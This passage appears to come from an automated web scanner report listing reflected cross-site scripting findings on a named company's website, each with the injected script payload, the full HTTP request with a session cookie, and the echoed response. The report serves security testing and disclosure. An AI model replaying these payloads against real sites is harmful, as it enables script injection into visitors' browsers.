Date: Fri, 16 Sep 2011 15:37:06 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:07 GMT
Content-Length: 24884
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png?9fce9\"><script>alert(1)</script>544beb43723=1" />
...[SNIP]...

2.89. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-logo.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fcd5"><script>alert(1)</script>b939ce7cc9f was submitted in the REST URL parameter 1. This input was echoed as 1fcd5\"><script>alert(1)</script>b939ce7cc9f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content1fcd5"><script>alert(1)</script>b939ce7cc9f/themes/powermta1/images/powerMTA-logo.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:10 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:11 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24874

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content1fcd5\"><script>alert(1)</script>b939ce7cc9f/themes/powermta1/images/powerMTA-logo.png" />
...[SNIP]...

2.90. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-logo.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1c99"><script>alert(1)</script>88b9a6b78db was submitted in the REST URL parameter 2. This input was echoed as a1c99\"><script>alert(1)</script>88b9a6b78db in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themesa1c99"><script>alert(1)</script>88b9a6b78db/powermta1/images/powerMTA-logo.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:39 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:40 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24874

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themesa1c99\"><script>alert(1)</script>88b9a6b78db/powermta1/images/powerMTA-logo.png" />
...[SNIP]...

2.91. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-logo.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce397"><script>alert(1)</script>60af3aed6e8 was submitted in the REST URL parameter 3. This input was echoed as ce397\"><script>alert(1)</script>60af3aed6e8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1ce397"><script>alert(1)</script>60af3aed6e8/images/powerMTA-logo.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:47 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:47 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24874

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1ce397\"><script>alert(1)</script>60af3aed6e8/images/powerMTA-logo.png" />
...[SNIP]...

2.92. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-logo.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ecd5"><script>alert(1)</script>c0cab668d12 was submitted in the REST URL parameter 4. This input was echoed as 9ecd5\"><script>alert(1)</script>c0cab668d12 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images9ecd5"><script>alert(1)</script>c0cab668d12/powerMTA-logo.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:12 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:13 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24874

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images9ecd5\"><script>alert(1)</script>c0cab668d12/powerMTA-logo.png" />
...[SNIP]...

2.93. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-logo.png

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f50c5"><script>alert(1)</script>3efda6b8e40 was submitted in the REST URL parameter 5. This input was echoed as f50c5\"><script>alert(1)</script>3efda6b8e40 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/powerMTA-logo.pngf50c5"><script>alert(1)</script>3efda6b8e40 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:22 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24874

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.pngf50c5\"><script>alert(1)</script>3efda6b8e40" />
...[SNIP]...

2.94. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-logo.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb97d"><script>alert(1)</script>322ec0afbc3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as fb97d\"><script>alert(1)</script>322ec0afbc3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/powerMTA-logo.png?fb97d"><script>alert(1)</script>322ec0afbc3=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:03 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:03 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24877

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png?fb97d\"><script>alert(1)</script>322ec0afbc3=1" />
...[SNIP]...

2.95. http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/submit_btn.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f0cc"><script>alert(1)</script>0546973a25 was submitted in the REST URL parameter 1. This input was echoed as 3f0cc\"><script>alert(1)</script>0546973a25 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content3f0cc"><script>alert(1)</script>0546973a25/themes/powermta1/images/submit_btn.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:44 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:45 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content3f0cc\"><script>alert(1)</script>0546973a25/themes/powermta1/images/submit_btn.png" />
...[SNIP]...

2.96. http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/submit_btn.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf78d"><script>alert(1)</script>9f8ee5e2ee2 was submitted in the REST URL parameter 2. This input was echoed as bf78d\"><script>alert(1)</script>9f8ee5e2ee2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themesbf78d"><script>alert(1)</script>9f8ee5e2ee2/powermta1/images/submit_btn.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:52 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:52 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themesbf78d\"><script>alert(1)</script>9f8ee5e2ee2/powermta1/images/submit_btn.png" />
...[SNIP]...

2.97. http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/submit_btn.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca8cb"><script>alert(1)</script>8923b307761 was submitted in the REST URL parameter 3. This input was echoed as ca8cb\"><script>alert(1)</script>8923b307761 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1ca8cb"><script>alert(1)</script>8923b307761/images/submit_btn.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:59 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1ca8cb\"><script>alert(1)</script>8923b307761/images/submit_btn.png" />
...[SNIP]...

2.98. http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/submit_btn.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93bf0"><script>alert(1)</script>10282142f89 was submitted in the REST URL parameter 4. This input was echoed as 93bf0\"><script>alert(1)</script>10282142f89 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images93bf0"><script>alert(1)</script>10282142f89/submit_btn.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:39:04 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:04 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images93bf0\"><script>alert(1)</script>10282142f89/submit_btn.png" />
...[SNIP]...

2.99. http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/submit_btn.png

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ffaf"><script>alert(1)</script>930b5cf1384 was submitted in the REST URL parameter 5. This input was echoed as 5ffaf\"><script>alert(1)</script>930b5cf1384 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/submit_btn.png5ffaf"><script>alert(1)</script>930b5cf1384 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:39:08 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:09 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png5ffaf\"><script>alert(1)</script>930b5cf1384" />
...[SNIP]...

2.100. http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/submit_btn.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 756be"><script>alert(1)</script>465c3edf10c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 756be\"><script>alert(1)</script>465c3edf10c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/submit_btn.png?756be"><script>alert(1)</script>465c3edf10c=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:43 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:43 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24874

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png?756be\"><script>alert(1)</script>465c3edf10c=1" />
...[SNIP]...

2.101. http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/tag-line.jpg

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6222"><script>alert(1)</script>e68be224d68 was submitted in the REST URL parameter 1. This input was echoed as e6222\"><script>alert(1)</script>e68be224d68 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-contente6222"><script>alert(1)</script>e68be224d68/themes/powermta1/images/tag-line.jpg HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:51 GMT
